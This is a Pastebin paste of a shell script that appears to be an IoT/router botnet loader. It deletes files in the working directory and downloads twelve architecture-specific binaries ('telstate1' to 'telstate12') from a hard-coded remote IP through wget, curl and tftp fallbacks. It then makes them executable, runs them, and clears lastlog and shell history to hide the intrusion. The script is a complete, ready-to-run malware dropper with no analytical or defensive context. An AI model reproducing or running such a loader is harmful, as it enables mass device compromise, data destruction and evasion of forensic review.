Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- # Delete any current files, because not all routers have much storage space
- rm -f * || busybox rm -f *
- # Wget/cURL our binaries
- wget -q http://192.169.189.80/telstate1 || curl -s -O http://192.169.189.80/telstate1 || busybox wget -q http://192.169.189.80/telstate1 || busybox curl -s -O http://192.169.189.80/telstate1 || busybox tftp -r telstate1 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate1
- wget -q http://192.169.189.80/telstate2 || curl -s -O http://192.169.189.80/telstate2 || busybox wget -q http://192.169.189.80/telstate2 || busybox curl -s -O http://192.169.189.80/telstate2 || busybox tftp -r telstate2 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate2
- wget -q http://192.169.189.80/telstate3 || curl -s -O http://192.169.189.80/telstate3 || busybox wget -q http://192.169.189.80/telstate3 || busybox curl -s -O http://192.169.189.80/telstate3 || busybox tftp -r telstate3 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate3
- wget -q http://192.169.189.80/telstate4 || curl -s -O http://192.169.189.80/telstate4 || busybox wget -q http://192.169.189.80/telstate4 || busybox curl -s -O http://192.169.189.80/telstate4 || busybox tftp -r telstate4 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate4
- wget -q http://192.169.189.80/telstate5 || curl -s -O http://192.169.189.80/telstate5 || busybox wget -q http://192.169.189.80/telstate5 || busybox curl -s -O http://192.169.189.80/telstate5 || busybox tftp -r telstate5 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate5
- wget -q http://192.169.189.80/telstate6 || curl -s -O http://192.169.189.80/telstate6 || busybox wget -q http://192.169.189.80/telstate6 || busybox curl -s -O http://192.169.189.80/telstate6 || busybox tftp -r telstate6 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate6
- wget -q http://192.169.189.80/telstate7 || curl -s -O http://192.169.189.80/telstate7 || busybox wget -q http://192.169.189.80/telstate7 || busybox curl -s -O http://192.169.189.80/telstate7 || busybox tftp -r telstate7 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate7
- wget -q http://192.169.189.80/telstate8 || curl -s -O http://192.169.189.80/telstate8 || busybox wget -q http://192.169.189.80/telstate8 || busybox curl -s -O http://192.169.189.80/telstate8 || busybox tftp -r telstate8 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate8
- wget -q http://192.169.189.80/telstate9 || curl -s -O http://192.169.189.80/telstate9 || busybox wget -q http://192.169.189.80/telstate9 || busybox curl -s -O http://192.169.189.80/telstate9 || busybox tftp -r telstate9 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate9
- wget -q http://192.169.189.80/telstate10 || curl -s -O http://192.169.189.80/telstate10 || busybox wget -q http://192.169.189.80/telstate10 || busybox curl -s -O http://192.169.189.80/telstate10 || busybox tftp -r telstate10 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate10
- wget -q http://192.169.189.80/telstate11 || curl -s -O http://192.169.189.80/telstate11 || busybox wget -q http://192.169.189.80/telstate11 || busybox curl -s -O http://192.169.189.80/telstate11 || busybox tftp -r telstate11 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate11
- wget -q http://192.169.189.80/telstate12 || curl -s -O http://192.169.189.80/telstate12 || busybox wget -q http://192.169.189.80/telstate12 || busybox curl -s -O http://192.169.189.80/telstate12 || busybox tftp -r telstate12 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate12
- # Set file permissions
- chmod 777 * || busybox chmod 777 *
- # Run correct binary for current architecture
- ./telstate1 || ./telstate2 || ./telstate3 || ./telstate4 || ./telstate5 || ./telstate6 || ./telstate7 || ./telstate8 || ./telstate9 || ./telstate10 || ./telstate11 || ./telstate12
- # Delete our files
- rm -f * || busybox rm -f *
- # Clear up
- >/var/log/lastlog
- >/etc/lastlog
- rm -f ~/.bash_history || busybox rm -f ~/.bash_history
- history -c
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement